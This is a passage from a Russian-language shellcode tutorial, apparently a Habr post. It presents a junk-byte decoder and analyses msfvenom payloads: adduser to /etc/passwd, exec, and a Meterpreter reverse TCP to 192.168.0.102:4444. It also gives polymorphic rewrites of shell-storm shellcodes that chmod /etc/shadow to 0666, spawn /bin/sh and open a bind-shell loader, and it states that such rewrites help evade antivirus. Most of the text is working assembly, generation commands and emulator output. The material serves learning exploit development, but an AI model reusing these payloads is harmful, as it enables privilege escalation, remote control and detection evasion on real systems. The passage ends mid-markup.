\tpush 0xaaaaaa89 \tpush 0xaaaaaa53 \tpush 0xaaaaaac2 \tpush 0xaa89aaaa \tpush 0xaaaa50aa \tpush 0xaaaaaaaa \tpush 0xe3aaaa89 \tpush 0xaaaa6eaa \tpush 0xaa69aaaa \tpush 0xaaaa62aa \tpush 0xaaaaaa2f \tpush 0xaa68aaaa \tpush 0x68aaaaaa \tpush 0xaaaa73aa \tpush 0xaaaa2faa \tpush 0xaa2faaaa \tpush 0xaa68aaaa \tpush 0x50aaaaaa \tpush 0xaaaac0aa \tpush 0xaaaaaa31  \t; prepare registers for decoding \tmov esi, esp \tmov edi, esp \tmov bl, 0xaa  decoder: \tlodsb\t\t; read byte from stack \tcmp al, bl\t; check: is it trash byte? \tjz loopy\t; if so, repeat \tcmp al, 0x90\t; is it end of shellcode? \tjz exec\t\t; if so, go to start of shellcode \tstosb\t\t; if not, place byte of shellcode into stack loopy:\tjmp decoder\t; repeat  exec:\tjmp esp\t\t; give flow control to shellcode<\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 nop-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 (0x90), \u0442\u0430\u043a\u043e\u0439 \u0431\u0430\u0439\u0442 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u0430 \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430. \u0412 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.<br \/>  <i>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/i><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yv\/ti\/4u\/yvti4u7yj5dkmpbb2n7qdlzkrfq.png\" alt=\"image\"><\/p>\n<h4>5. \u0410\u043d\u0430\u043b\u0438\u0437 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432, \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 msfvenom&#8217;\u043e\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 GDB\/libemu\/ndisasm<\/h4>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u2014 msfvenom.<\/p>\n<p>  <b>1. add user<\/b><br \/>  \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430:<\/p>\n<pre><code class=\"plaintext\">msfvenom -a x86 --platform linux -p linux\/x86\/adduser -f c &gt; adduser.c <\/code><\/pre>\n<p>  \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 GDB, \u044f \u0440\u0435\u0448\u0438\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0434\u043b\u044f \u043c\u0435\u043d\u044f \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u0441\u0442\u0435\u043a \u0438 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c.<\/p>\n<pre><code class=\"plaintext\">$ cat adduser.c | grep -Po &quot;\\\\\\x..&quot; | tr -d '\\n' | sed -e 's!\\\\x!!g' ; echo 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"plaintext\">$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80 out: \tpush 0x90909080 \tpush 0xcd58016a \tpush 0x80cd5804 \t...<\/code><\/pre>\n<p>  \u0410\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0443\u0434\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u0444\u0430\u0439\u043b:<\/p>\n<pre><code class=\"plaintext\">\tsection .text \tglobal _start _start: \tpush 0x90909080 \tpush 0xcd58016a \tpush 0x80cd5804 \tpush 0x6afc518b \tpush 0x590a6873 \tpush 0x2f6e6962 \tpush 0x2f3a2f3a \tpush 0x3a303a30 \tpush 0x3a635249 \tpush 0x3470346a \tpush 0x7349642f \tpush 0x7a413a74 \tpush 0x696f6c70 \tpush 0x73617465 \tpush 0x6d000000 \tpush 0x28e89380 \tpush 0xcd04b541 \tpush 0xe3896374 \tpush 0x652f6861 \tpush 0x702f2f68 \tpush 0x64777373 \tpush 0x6851c931 \tpush 0x58056a80 \tpush 0xcd58466a \tpush 0xcb89c931 \tjmp esp<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/m2\/ha\/gd\/m2hagdg75saw6og2p27eu-xa3dm.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0432\u044b\u0437\u043e\u0432 setreuid() \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 (0,0): \u0443 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430. \u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b \/etc\/passwd. \u0412 \u043a\u043e\u0434\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f call. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u0434\u0430\u043d\u043d\u0443\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440 \u043f\u043e\u043b\u043e\u0436\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0437\u0430 \u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432 \u0441\u0442\u0435\u043a. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0437\u0430 \u0442\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0434\u0451\u0442 \u0441\u0442\u0440\u043e\u043a\u0430 \u0441 \u043d\u0430\u0448\u0438\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u2014 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u044d\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u0432 \u0444\u0430\u0439\u043b. \u0422\u0430\u043a\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0444\u0430\u0439\u043b. <\/p>\n<p>  <b>2. exec whoami<\/b><br \/>  \u0421 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432 \u0444\u0430\u0439\u043b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434<br \/>  \u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434:<\/p>\n<pre><code class=\"plaintext\">msfvenom -a x86 --platform linux -p linux\/x86\/exec CMD=&quot;whoami&quot; -f raw&gt; exec_whoami.bin<\/code><\/pre>\n<p>  \u0414\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043a\u043e\u0434\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c:  <\/p>\n<pre><code class=\"plaintext\">$sctest -vv -S -s 10000 -G shell.dot &lt; exec_whoami.bin<\/code><\/pre>\n<pre><code class=\"plaintext\">[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb ; execve()\t\t [emu 0x0x16c8100 debug ] 58                              pop eax\t\t [emu 0x0x16c8100 debug ] 99                              cwd ; in this case - set to 0 due to cwd and small eax [emu 0x0x16c8100 debug ] 52                              push edx\t\t ; &quot;-c&quot; [emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d\t ; address of &quot;-c&quot; [emu 0x0x16c8100 debug ] 89E7                            mov edi,esp\t\t ; \/bin\/sh [emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f\t [emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f ; 1st arg of execve() [emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp\t\t ; null [emu 0x0x16c8100 debug ] 52                              push edx\t\t ; place &quot;whoami&quot; in stack [emu 0x0x16c8100 debug ] E8                              call 0x1\t\t ; push &quot;-c&quot; [emu 0x0x16c8100 debug ] 57                              push edi\t\t ; push &quot;\/bin\/sh&quot; [emu 0x0x16c8100 debug ] 53                              push ebx\t\t ; 2nd argument of execve()  ; pointer to args [emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp\t\t ; execute execve() [emu 0x0x16c8100 debug ] CD80                            int 0x80\t\t<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vv\/s2\/mx\/vvs2mxrhami1dfpzknj_1s41wvo.png\" alt=\"image\"><\/p>\n<p>  \u0414\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f call, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u043a\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443.<\/p>\n<p>  <b>3. Reverse Meterpreter TCP<\/b><br \/>  command to generate payload  <\/p>\n<pre><code class=\"plaintext\">msfvenom -a x86 --platform linux -p linux\/x86\/meterpreter\/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw &gt; meter_revtcp.bin<\/code><\/pre>\n<p>  Then<\/p>\n<pre><code class=\"plaintext\">ndisasm -u meter_revtcp.bin<\/code><\/pre>\n<p>  Code with comments  <\/p>\n<pre><code class=\"plaintext\">00000000  6A0A              push byte +0xa 00000002  5E                pop esi\t\t\t; place 10 in esi 00000003  31DB              xor ebx,ebx\t\t\t; nullify ebx 00000005  F7E3              mul ebx 00000007  53                push ebx\t\t\t; push 0 00000008  43                inc ebx\t\t\t; 1 in ebx 00000009  53                push ebx\t\t\t; push 1 0000000A  6A02              push byte +0x2\t\t; push 2 0000000C  B066              mov al,0x66\t\t\t; mov socketcall 0000000E  89E1              mov ecx,esp\t\t\t; address of argument 00000010  CD80              int 0x80\t\t\t; calling socketcall() with socket() 00000012  97                xchg eax,edi\t\t; place sockfd in edi 00000013  5B                pop ebx\t\t\t; in ebx 1 00000014  68C0A80066        push dword 0x6600a8c0\t; place IPv4 address connect to 00000019  680200115C        push dword 0x5c110002\t; place port and proto family 0000001E  89E1              mov ecx,esp 00000020  6A66              push byte +0x66 00000022  58                pop eax\t\t\t; socketcall() 00000023  50                push eax 00000024  51                push ecx\t\t\t; addresss of sockaddr_in structure 00000025  57                push edi\t\t\t; sockfd 00000026  89E1              mov ecx,esp\t\t\t; address of arguments 00000028  43                inc ebx 00000029  CD80              int 0x80\t\t\t; call connect() 0000002B  85C0              test eax,eax\t\t;  0000002D  7919              jns 0x48\t\t\t; if connect successful - jmp 0000002F  4E                dec esi\t\t\t; in esi 10 - number of attempts to connect 00000030  743D              jz 0x6f\t\t\t; if zero attempts left - exit 00000032  68A2000000        push dword 0xa2 00000037  58                pop eax 00000038  6A00              push byte +0x0 0000003A  6A05              push byte +0x5 0000003C  89E3              mov ebx,esp 0000003E  31C9              xor ecx,ecx 00000040  CD80              int 0x80\t\t\t; wait 5 seconds 00000042  85C0              test eax,eax 00000044  79BD              jns 0x3 00000046  EB27              jmp short 0x6f 00000048  B207              mov dl,0x7\t\t\t; mov dl 7 - read, write, execute for mprotect() memory area 0000004A  B900100000        mov ecx,0x1000\t\t; 4096 bytes 0000004F  89E3              mov ebx,esp 00000051  C1EB0C            shr ebx,byte 0xc 00000054  C1E30C            shl ebx,byte 0xc\t\t; nullify 12 lowest bits 00000057  B07D              mov al,0x7d\t\t\t; mprotect syscall 00000059  CD80              int 0x80 0000005B  85C0              test eax,eax 0000005D  7810              js 0x6f\t\t\t; if no success with mprotect -&gt; exit 0000005F  5B                pop ebx\t\t\t; if success put sockfd in ebx 00000060  89E1              mov ecx,esp 00000062  99                cdq 00000063  B60C              mov dh,0xc 00000065  B003              mov al,0x3\t\t\t; read data from socket 00000067  CD80              int 0x80 00000069  85C0              test eax,eax 0000006B  7802              js 0x6f 0000006D  FFE1              jmp ecx\t\t\t; jmp to 2nd part of shell 0000006F  B801000000        mov eax,0x1 00000074  BB01000000        mov ebx,0x1 00000079  CD80              int 0x80 <\/code><\/pre>\n<p>  \u042d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0441\u043e\u043a\u0435\u0442, \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c IP-\u0430\u0434\u0440\u0435\u0441\u043e\u043c \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u0440\u0442\u0443, \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0447\u0442\u0435\u043d\u0438\u0435 \u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0438\u0437 \u0441\u043e\u043a\u0435\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438. \u0415\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043d\u0435 \u0443\u0434\u0430\u0451\u0442\u0441\u044f, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0436\u0434\u0451\u0442 5 \u0441\u0435\u043a\u0443\u043d\u0434 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0443. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0438\u043b\u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u043e\u0437\u043d\u0438\u043a\u0448\u0438\u0445 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043e\u043d\u0430 \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0442\u0443<\/p>\n<h4>6. \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u043d\u043e\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 3 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432 \u0441 shell-storm&#8217;\u0430.<\/h4>\n<p>  \u041f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u043d\u043e\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u0430 \u043b\u043e\u0433\u0438\u043a\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f. \u041f\u0440\u0438\u043c\u0435\u0440:<br \/>  xor eax, eax \u043e\u0431\u043d\u0443\u043b\u0438\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b, <br \/>  sub eax, eax \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0443\u043b\u0438\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b.<br \/>  \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u043c\u0435\u0436\u0434\u0443 \u044d\u0442\u0438\u043c\u0438 \u0434\u0432\u0443\u043c\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0431\u0443\u0434\u0435\u0442 \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438: \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0431\u044b\u0441\u0442\u0440\u0435\u0435. \u041f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u043d\u043e\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0443 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u043e\u0442 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430.<\/p>\n<p>  <b>1. chmod \/etc\/shadow<\/b>  <\/p>\n<pre><code class=\"plaintext\">\t; http:\/\/shell-storm.org\/shellcode\/files\/shellcode-608.php \t; Title: linux\/x86 setuid(0) + chmod(&quot;\/etc\/shadow&quot;, 0666) Shellcode 37 Bytes \t; length - 40 bytes \tsection .text  global _start  _start: \tsub ebx, ebx\t; replaced \tpush 0x17\t; replaced \tpop eax\t\t; replaced \tint 0x80 \tsub eax, eax\t; replaced \tpush eax\t; on success zero \tpush 0x776f6461         push 0x68732f63         push 0x74652f2f \tmov ebx, esp \tmov cl, 0xb6\t; replaced \tmov ch, 0x1\t; replaced         add al, 15\t; replaced         int 0x80         add eax, 1\t; replaced         int 0x80<\/code><\/pre>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 setuid() \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 0,0 (\u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430) \u0438 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 chmod() \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u0430 \/etc\/shadow.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/0p\/db\/mo\/0pdbmogrsi4bdn849ylf8hbjbti.png\" alt=\"image\"><\/p>\n<p>  \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u0442\u043e\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0435\u0437 \u043e\u0431\u043d\u0443\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432.<\/p>\n<pre><code class=\"plaintext\"> \tsection .text global _start  _start: \tpush 0x17\t; replaced \tpop eax\t\t; replaced \tint 0x80 \tpush eax\t; on success zero \tpush 0x776f6461         push 0x68732f63         push 0x74652f2f \tmov ebx, esp \tmov cl, 0xb6\t; replaced \tmov ch, 0x1\t; replaced         add al, 15\t; replaced         int 0x80         add eax, 1\t; replaced         int 0x80<\/code><\/pre>\n<p>  \u00ab\u0421\u043e\u0431\u0440\u0430\u0432\u00bb \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 asm, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0421-\u0444\u0430\u0439\u043b, \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c.<\/p>\n<p>  <b>2. Execve \/bin\/sh<\/b>  <\/p>\n<pre><code class=\"plaintext\">\t; http:\/\/shell-storm.org\/shellcode\/files\/shellcode-251.php \t; (Linux\/x86) setuid(0) + setgid(0) + execve(&quot;\/bin\/sh&quot;, [&quot;\/bin\/sh&quot;, NULL]) 37 bytes \t; length - 45 byte \tsection .text global _start _start: \tpush 0x17 \tmov eax, [esp]\t; replaced \tsub ebx, ebx\t; replaced \timul edi, ebx\t; replaced \tint 0x80  \tpush 0x2e \tmov eax, [esp]\t; replaced \tpush edi \t; replaced \tint 0x80  \tsub edx, edx\t; replaced \tpush 0xb \tpop eax \tpush edi\t; replaced \tpush 0x68732f2f \tpush 0x6e69622f \tlea ebx, [esp]\t; replaced \tpush edi\t; replaced \tpush edi\t; replaced \tlea esp, [ecx]\t; replaced \tint 0x80<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/9q\/cl\/-o\/9qcl-ol-qznvbz8jckiaheke8i8.png\" alt=\"image\"><\/p>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0443\u0436\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0441\u044f \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0432 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445 \u0432\u044b\u0448\u0435. \u041e\u0441\u043e\u0431\u044b\u0445 \u043f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0439 \u043e\u043d \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442.<\/p>\n<p>  <b>3. TCP bind shellcode with second stage<\/b>  <\/p>\n<pre><code class=\"plaintext\">\t; original: http:\/\/shell-storm.org\/shellcode\/files\/shellcode-501.php \t; linux\/x86 listens for shellcode on tcp\/5555 and jumps to it 83 bytes \t; length 94 \tsection .text global _start  _start: \tsub eax, eax\t; replaced \timul ebx, eax\t; replaced \timul edx, eax\t; replaced  _socket: \tpush 0x6 \tpush 0x1 \tpush 0x2 \tadd al, 0x66\t; replaced \tadd bl, 1\t; replaced \tlea ecx, [esp] ; replaced \tint 0x80  _bind: \tmov edi, eax\t; placing descriptor \tpush edx \tpush WORD 0xb315\t;\/* 5555 *\/ \tpush WORD 2 \tlea ecx, [esp]\t; replaced \tpush 16 \tpush ecx \tpush edi \txor eax, eax\t; replaced \tadd al, 0x66\t; replaced \tadd bl, 1\t; replaced \tlea ecx, [esp]\t; replaced \tint 0x80  _listen: \tmov bl, 4\t; replaced \tpush 0x1 \tpush edi \tadd al, 0x66\t; replaced \tlea ecx, [esp]\t; replaced \tint 0x80  _accept: \tpush edx \tpush edx \tpush edi \tadd al, 0x66\t; replaced \tmov bl, 5\t; replaced \tlea ecx, [esp]\t; replaced \tint 0x80 \tmov ebx, eax  _read: \tmov al, 0x3 \tlea ecx, [esp]\t; replaced \tmov dx, 0x7ff \tmov dl, 1\t; replaced \tint 0x80 \tjmp esp<\/code><\/pre>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u0442\u043e\u0440\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0435\u0451.<\/p>\n<p>  \u041a\u043e\u0434 \u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438  <\/p>\n<pre><code class=\"plaintext\">\tsection .text global _start  _start: \txor eax, eax \tmov al, 1 \txor ebx, ebx \tmov ebx, 100 \tint 0x80<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/no\/zo\/n2\/nozon26a2dzjtvnngfwkrrz10cc.png\" 